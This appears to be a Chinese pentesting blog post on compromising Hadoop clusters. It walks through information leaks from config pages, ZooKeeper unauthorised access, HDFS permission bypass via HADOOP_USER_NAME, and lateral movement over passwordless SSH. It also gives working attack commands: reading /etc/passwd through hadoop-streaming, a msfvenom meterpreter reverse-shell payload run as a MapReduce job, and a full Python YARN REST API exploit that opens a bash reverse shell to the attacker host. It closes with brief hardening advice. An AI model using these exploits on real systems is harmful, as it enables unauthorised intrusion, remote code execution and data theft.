初探 Hadoop 集群安全

最近因为某些原因学习接触到了开源的大数据框架:
Hadoop
,该框架允许使用简单的编程模型跨计算机集群对大型数据集进行分布式处理。它旨在从单个服务器扩展到数千台机器,每台机器都提供本地计算和存储,详细概念知识背景我这就不介绍了,各位自行学习。

所以自己启发了这个大数据的框架是否有安全问题,毕竟
Hadoop
在大型企业是很常见的(之前参与某单位渗透测试也碰见过),可能有同学没见过,这是因为
Hadoop
一般在内网中部署,业务端口不对外的,估如果没进行到内网横向渗透阶段是比较难见到的。

本文技术含量可能不高,攻击手法等均非原创,写本文的出发点是自己遇到的时候百度相关漏洞,知识点过于零散且这块资料较少,所以本文进行了搜集整理,实现一些复现,让各位在内网渗透的过程中如果遇到以最少的时间成本、不需要深入了解
hadoop
即可实现攻击、拿到权限的目的。

Hadoop 是个生态圈,非单一软件,而是由 HDFS、YAERN、MapReduce、Zookeeper、Hbase 等组件提供支持。

环境准备及说明

hadoop 版本: 2.7.1(节点) 2.7.7(kali攻击机) 
目前最新稳定版本已经为 3.2.1,在 3.x 系列下未试验过不保证均存在以下安全问题。
采取完全分布式模式部署

管理 Hadoop 的用户名:
hadoop

主机名 Ip 功能
master 192.168.1.200 主节点(管家角色、管理从节点)
slave1 192.168.1.201 从节点1
kali 192.168.1.8 kali攻击机

设置 Hadoop 攻击环境

提前设置工作环境以执行某些特定的攻击
1、下载 Hadoop 安装包

wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-2.7.7/hadoop-2.7.7.tar.gz

2、解压

tar xvf hadoop-2.7.7.tar.gz

3、设置
JAVA_HOME
环境变量

export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-i386

4、(可选)将Hadoop的
bin
路径添加到PATH环境变量

export PATH=$PATH:/opt/hadoop-2.7.7/bin

5、测试

hadoop version

6、下载 Hadoop 攻击包(后续使用)

git clone https://github.com/wavestone-cdt/hadoop-attack-library.git

Hadoop 存在的安全问题汇总

1、信息收集

获取目标环境配置

必须在客户端 (kali) 的不同文件中配置几个集群参数,才能与 Hadoop 集群进行交互。

在内网中如何确定某台机器为
Hadoop
两种办法:

1、通过端口探测的方式
(nmap)
,

2、通过 http 访问某些业务端口确定
hadoop

1、在 
Hadoop 攻击包 中存在 
HadoopSnooper ,该脚本允许攻击者通过
Hadoop
组件的 Web 界面上公开的配置文件轻松检索合适的最小客户端配置。

我这边的话就不采取脚本的方式而是手工的方式(初次手工熟悉过程).

进入在
kali

hadoop
的配置目录: 
/etc/hadoop

2、手工访问
8088

50070、8042、16010
等端口查看 conf 配置,脚本就是爬取 hadoop 配置生成到本地,实现自动化。

hadoop 相关端口详情后面介绍,打开下面的链接:

http://192.168.1.200:50070/conf

我们先提取
fs.defaultFS
保存到本地
core-site.xml
文件内(conf 内存在大量 Hadoop 的配置信息,这边算是信息泄露一个点,无验证即可访问到。)

3、执行
hdfs
命令访问
hadoop

hdfs

hdfs 为 Hadoop 分布式文件系统 (HDFS), 简单理解: 该文件系统跟本地文件系统一样均可用来存放数据、文件,不同的是它是分布式,数据存在多台机器的本地系统上,也就是说 HDFS 还是需要依赖于本地文件系统。
查看 hdfs 文件系统的根目录,存在 3 个目录。

hdfs dfs -ls /

假设前面的
core-site.xml
未配置成功,访问 hdfs 根目录则会出现本地根目录.

Hadoop 部分重要服务端口

以下的端口都是我们渗透的过程中会遇到的

1、Hdfs 部分服务端口

端口 作用
9000 fs.defaultFS,如:hdfs://172.25.40.171:9000
50070 dfs.namenode.http-address 监控状态http页面端口

这个
9000
端口的作用是前面我们把
hdfs://master:9000
写入了
core-site.xml
文件,让我们实现了访问
hdfs
,假设在之前的配置文件不写的话即可通过指定的方式访问
hdfs dfs -ls hdfs://master:9000/

50070
则是可以通过 http 页面查看 hdfs 状态。

http://192.168.1.200:50070/

这个 Live Nodes 比较重要能查看到当前集群存活的节点信息。

比较重要的还有
Utilities
,即可以浏览文件系统 (HDFS),和查看日志(可能留存敏感信息)


这边即是图形界面访问,之前我们是通过命令行方式


均可实现 download,在真实内网渗透中这时候你就可以扒扒看是否有你需要的数据。

文件所有者是
hadoop
,权限为
rwxr-xr-x
意味着可读不可写。突破实现写的问题我们后面展开。

2、yarn部分服务端口

端口 作用
8088 yarn.resourcemanager.webapp.address,YARN的http端口
http://192.168.1.200:8088/cluster/nodes

可以查看集群节点情况以及作业提交情况(后续攻击需要提交作业)

3、zookeeper 部分服务端口

端口 作用
2181 ZooKeeper,用来监听客户端的连接

zookeeper 属于 Hadoop 生态圈之一,存在未授权访问的问题

echo envi|nc 192.168.1.200 2181

可以存在部分敏感信息


连接 ZooKeeper 服务端

./zkCli.sh -server 192.168.1.200:2181

4、HBASE 部分服务端口

端口 作用
16010 hbase.master.info.port,HMaster的http端口

Hbase
 是非关系型分布式数据库,访问是没权限校验的

如果是
hbase
集群内的节点执行
hbase shell
即可以增删改查
hbase

非集群节点使用
Java API
即可,网上有现成写好的方法实现操纵

2、浏览 HDFS 数据

浏览 HDFS 数据有两种不同的方法:
1、WebHDFS API
2、Hadoop CLI

WebHDFS

关于 WebHDFS 的访问方式前面简单提及了,就是通过访问
50070
端口的方式,但是默认是关闭,之前的页面只能 download,无法 put 等,需要通过
hdfs-site.xml
文件中的以下指令在群集端配置此功能的激活:

dfs.webhdfs.enabled: true

因为默认关闭,所以一般有业务需求才会开启,这边就不演示了,相关 REST API 语法自行查找。

Hadoop攻击包 中提供了一个
hdfsbrowser.py
脚本实现浏览的功能,主要是适应场景是无法进行 web 浏览访问,无 Hadoop 客户端的情况。

Hadoop CLI

hadoop fs 命令等同于 hdfs dfs 
hadoop fs -ls hdfs://master:9000/ 列出根路径的内容

hadoop fs -put core-site.xml hdfs://master:9000/user/hadoop/wcout/ 

上传文件被拒绝,由于攻击机
kali
当前用户为
umask
,不具备上传权限。

实现突破的方式

1、修改环境变量:
export HADOOP_USER_NAME=hadoop

因为脚本在获取用户名的时候就是采取读环境变量的方法,这边直接篡改掉。


2、创建一个与 hdfs 具备权限的同名用户去访问(不推荐,在某些情况下(依托跳板机)可能不具备创建用户等权限,且徒增账号增加危险性)

3、如果采用
JAVA API
的方式进行
hdfs
操作可以在代码中设置:

System.setProperty("HADOOP_USER_NAME","hadoop");

或者传参的方式

java -D HADOOP_USER_NAME=root

Hadoop API文档:

https://hadoop.apache.org/docs/stable/api/index.html

3、免密登录

在分布式架构下因为需要
master
节点要启动 Hadoop 每个进程 (datanode, namenode 等这些进程),都需要手动输入启动进程所在的机器(集群节点)的用户密码。以及在关闭时,也是需要手动输入密码,这样过于繁琐。所以一般都会配置集群机器之间使用秘钥登录,这样就无需手动输入密码了。

这就暴露出一个问题,假设拿到了集群中
master
节点的用户权限 (shell),那它可以通过免密登录到集群中任何一台节点,意味着整个集群沦陷。

官方配置文档把配置免密 ssh 作为配置 hadoop 的前提条件,且几乎国内所有的配置教程也采用免密 ssh

1、我先把
master

slave1
之间
ssh
密钥登录去掉,然后启动
hadoop
相关业务.从图中可以看大在去掉密钥的情况下我输入了2次密码,分别是
master

slave1
,假设集群数量为上百上千,光输密码这个工作量就是很大的。

2、
master
节点上生成公钥分发到所需的节点上,启动 hadoop 服务未出现要密码,实际中则可利用这一点来登录到任意节点上

但这边就会出现 1 个问题,
master
是可以无密码登录任意节点,但是任意节点无法无密钥访问到其他节点乃至
master

但是我网上查看了些搭建
Hadoop
集群的教程,发现有些教程密钥登录这一步骤给的操作最终是可以实现集群任意节点间登录的,所以这个情况需要看实际中运维人员怎么部署的。

所以拿到 shell 后可以看下
authorized_keys
文件内是什么情况

发现所有节点ip信息可以利用以下方式:
hosts 文件 /一般写一个模板然后分发到所有节点
内部 DNS
50070 端口上的 Live Nodes 
ip 可能连续 /例如 192.168.1.200 201 202

4、执行远程命令

通过访问之前的
http://192.168.1.200:50070/conf
页面获取到如下
name

value
信息并且应用到
kali
本地
hadoop
客户端。(如果部分信息如可尝试更换端口)

1、hdfs-site.xml

<configuration>

    <property>

            <name>dfs.namenode.secondary.http-address</name>

            <value>master:50090</value>

    </property>

</configuration>

2、core-site.xml

<configuration>

    <property>

        <name>fs.defaultFS</name>

        <value>hdfs://master:9000</value>

    </property>

</configuration>

3、yarn-site.xml

<configuration>

        <property>

            <name>yarn.resourcemanager.hostname</name>

            <value>master</value>

        </property>

</configuration>

4、mapred-site.xml

<configuration>

        <property>

                <name>mapreduce.framework.name</name>

                <value>yarn</value>

        </property>

        <property>

                <name>mapreduce.jobhistory.address</name>

                <value>master:10020</value>

        </property>

        <property>

                <name>mapreduce.jobhistory.webapp.address</name>

                <value>master:19888</value>

        </property>

</configuration>

执行单个命令
例如执行命令

cat /etc/passwd
hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar –input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand -mapper “/bin/cat /etc/passwd” -reducer NONE
解释:
hadoop-streaming-2.7.7.jar:

http://hadoop.apache.org/docs/r1.0.4/cn/streaming.html

-input:这将作为要执行的命令的 MapReduce 的输入提供,仅在该文件中至少放置一个字符,此文件对我们的目标无用
-output:MapReduce 将使用此目录写入结果,_SUCCESS 否则将失败
-mapper:要执行的命令,例如 “/bin/cat /etc/passwd”。输出结果将写入 -output 目录
-reducer NONE:不需要 reduce 执行单个命令,映射器就足够了
检测 output 情况:命令执行完出现如下字眼说明执行成功。

hadoop fs -cat hdfs://master:9000/user/hadoop/outcommand/part-00000
成功执行命令且写入进 output 目录

获取 meterpreter

上述执行单个命令的方式,每次只能执行一次写入一次,不够灵活存在局限性,下面采取反弹得到 meterpreter 的方式。
1、生成 payload

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.8 -f elf -o msf.payload

2、put payload 到 hdfs (不带目录即默认目录 /user/hadoop)

hadoop fs -put msf.payload

3、msf 监听


4、执行反弹

hadoop jar share/hadoop/tools/lib/hadoop-streaming-2.7.7.jar --input /user/hadoop/wcout/README.txt -output /user/hadoop/outcommand5 -mapper "./msf.payload" -file "./msf.payload" -background

-file
/本地的 meterpreter 可执行文件上传到 HDFS 上的路径

-mapper
 /可执行的 meterpreter 的 HDFS 路径

-background
 /后台运行


5、msf 成功建立连接

这边可以看到得到的 shell 是
slave1
的,这是因为
MapReduce
作业的分布式性质,随机落到某个集群节点,这边的
payload
需要使用
reverse shell
反弹的,因为如果采用正向连接,假设集群节点众多,你可能不知道要连接到哪个 ip.

假设落到 slave 上但是我需要 master 权限,只要 ssh 免密过去就好了。关于这个问题前面也提及了。

5、Hadoop Yarn REST API 未授权漏洞利用

YARN 是 hadoop 系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把 MapReduce 计算框架作为一个应用程序运行在 YARN 系统之上,通过 YARN 来管理资源。简单的说,用户可以向 YARN 提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

yarn 默认 8088 端口

1、检测漏洞存在方式:

curl -X POST 192.168.1.200:8088/ws/v1/cluster/apps/new-application

2、漏洞利用 python 代码:

import requests

target = 'http://192.168.1.200:8088/'

lhost = '192.168.1.8'  # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'

resp = requests.post(url)

print(resp.text)

app_id = resp.json()['application-id']

url = target + 'ws/v1/cluster/apps'

data = {

    'application-id': app_id,

    'application-name': 'get-shell',

    'am-container-spec': {

        'commands': {

            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,

        },

    },

    'application-type': 'YARN',

}

print (data)

requests.post(url, json=data)

3、nc 监听 9999 端口得到 shell


4、msf 也提供了漏洞模块,这边就不演示了。

msf5 > use exploit/linux/http/hadoop_unauth_exec


这边提供一个 vulhub 的关于 Yarn REST API 未授权漏洞利用的靶场链接,各位可自行测试,就无需搭建 Hadoop 环境了。

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

6. 暂定

Hadoop 作为一个生态圈存在,存在的安全问题自然很多。
这边算是先暂定为 1.0 版本,后续陆续更新增加丰富。

安全加固

攻破 Hadoop 集群并不是非常难。这主要是因为默认安全机制的不严格,以及生态环境的复杂性而导致的。不仅如此,各大发行版也存在许多传统漏洞。
1、开启 kerberos 认证,参考:

http://hadoop.apache.org/docs/r2.7.3/hadoop-auth/Configuration.html

2、敏感页面以及目录最好也不要对普通用户开放,可 nginx 方向代理、iptables 解决。
(jmx/logs/cluster/status.jsp/)
3、hadoop 集群单独部署 做好安全监控发现被攻击迹象及时高警
4、避免让服务在公网中暴露
5、不要在边缘节点布置应用
6、更新软件版本

参考

挖掘分布式系统——Hadoop 的漏洞

https://zhuanlan.zhihu.com/p/28901633

Hadoop 攻击库

https://github.com/wavestone-cdt/hadoop-attack-library

Hadoop Yarn REST API 未授权漏洞利用挖矿分析

https://www.freebuf.com/vuls/173638.html

Hadoop Yarn REST API 未授权漏洞利用

https://www.cnblogs.com/junsec/p/11390634.html

Hadoop safari : Hunting for vulnerabilities

http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf

Hadoop 安全问题介绍以及安全加固

https://mp.weixin.qq.com/s?__biz=MzAwOTczODMxMw==&mid=2651013365&idx=1&sn=62a561cf8e11cee5df554f3757a4d48e&chksm=80ace1d3b7db68c59a531e6a562d65277ca211e0e3e9161eee1e8fd5a140b8146e67167b5da6#rd